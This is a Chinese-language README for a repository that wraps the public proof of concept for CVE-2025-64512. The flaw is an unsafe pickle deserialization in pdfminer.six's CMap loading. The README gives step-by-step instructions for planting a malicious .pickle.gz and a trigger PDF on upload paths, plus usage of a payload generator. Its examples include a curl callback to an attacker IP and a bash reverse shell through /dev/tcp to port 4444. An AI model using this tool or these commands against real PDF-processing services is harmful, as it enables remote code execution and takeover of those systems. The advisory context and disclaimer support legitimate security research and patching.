
⚠️ 免责声明: 此工具仅供教育目的和授权的渗透测试使用。仅用于您拥有或获得明确书面许可的系统。未经授权使用是非法的。
pdfminer.six 是一个广泛使用的Python库,用于从PDF文件中提取文本和元数据,常见于文档处理管道、CLI工具以及AI/数据摄取工作流中。受影响的版本在加载用于CJK字体支持的CMap(字符映射)缓存文件时,使用了Python的pickle模块,且未验证解析后的路径是否保持在预期的缓存目录内。
一个特制的PDF可以引用攻击者控制的路径来查找此CMap。如果攻击者还能够在该解析路径(例如通过同位置的文件上传功能)放置一个恶意的.pickle.gz文件,那么处理该PDF将触发pickle.loads()作用于攻击者控制的数据,导致任意代码执行。这一确切机制(包括PoC PDF结构)在官方公告中由mtolley记录。
本仓库包含一个围绕CVE-2025-64512的GitHub安全公告中发布的官方概念验证的小型CLI封装器。它并未引入任何新的利用技术——恶意PDF模板几乎逐字取自公告本身;此脚本仅对目标路径、要执行的命令和输出文件名进行参数化,以便PoC更易于重用。
pdfminer.six中的CMapDB._load_data()将CMap名称(取自PDF字体的/Encoding条目)解析为文件路径,如果以.pickle.gz结尾,则使用pickle.loads()加载它。该函数未验证解析后的路径是否保持在pdfminer自身的cmap/目录内。
/Encoding引用攻击者选择的路径(URL编码,/表示为%2F)。.pickle.gz**文件,在处理PDF时存在于目标文件系统的该路径(<该路径>.pickle.gz)上。通常这两个文件可以通过同一上传渠道(例如文档摄取管道)交付,只要最终磁盘上的路径是可预测或可发现的,并且该渠最终会被pdfminer.six处理。
1. 生成一个恶意的pickle载荷(在反pickling时执行命令)
2. 将其压缩为<名称>.pickle.gz
3. 生成一个“触发”PDF,其字体/Encoding指向该.pickle.gz在目标文件系统中的完整路径(不含扩展名)
4. 将两个文件交付给目标,使其落在预期路径上
5. 等待/触发pdfminer.six(或任何基于它的工具,如pdf2txt.py)处理触发PDF
6. pickle.loads()执行载荷 -> RCE
gzip、pickle、argparse)生成载荷不需要第三方依赖。目标必须有一个存在漏洞的pdfminer.six(或依赖于它的项目)实际处理上传的PDF。
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]
options:
--pdf-out PDF_OUT 触发PDF的输出文件名(默认:trigger.pdf)
--gz-out GZ_OUT pickle.gz载荷的输出文件名(默认:payload.pickle.gz)
--path PATH, -p PATH 目标文件系统上pickle.gz将存放的完整路径(不含.pickle.gz),
例如 /var/www/app/uploads/xxxx
--command COMMAND, -c COMMAND
在目标上执行的命令(默认:id)
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "id > /tmp/pwned" \
--pdf-out trigger.pdf \
--gz-out payload.pickle.gz
这将生成:
payload.pickle.gz — 先上传此文件,放置到 .../uploads/payload.pickle.gztrigger.pdf — 后上传此文件;一旦目标使用pdfminer.six处理它,命令就会执行python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "curl http://攻击者_IP:8000/rce-confirmed" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "bash -c 'bash -i >& /dev/tcp/攻击者_IP/4444 0>&1'" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
| 字段 | 值 |
|---|
| CVE | CVE-2025-64512 |
| 影响版本 | pdfminer.six ≤ 20250506(以及 markitdown ≤ 0.1.3, pdfplumber ≤ 0.11.7) |
| 类型 | 不安全的反序列化(CWE-502) |
| 所需权限 | 无(如果PDF处理暴露在外,则无需认证) |
| 影响 | 任意代码执行 |
| 补丁 | pdfminer.six 20251107+ |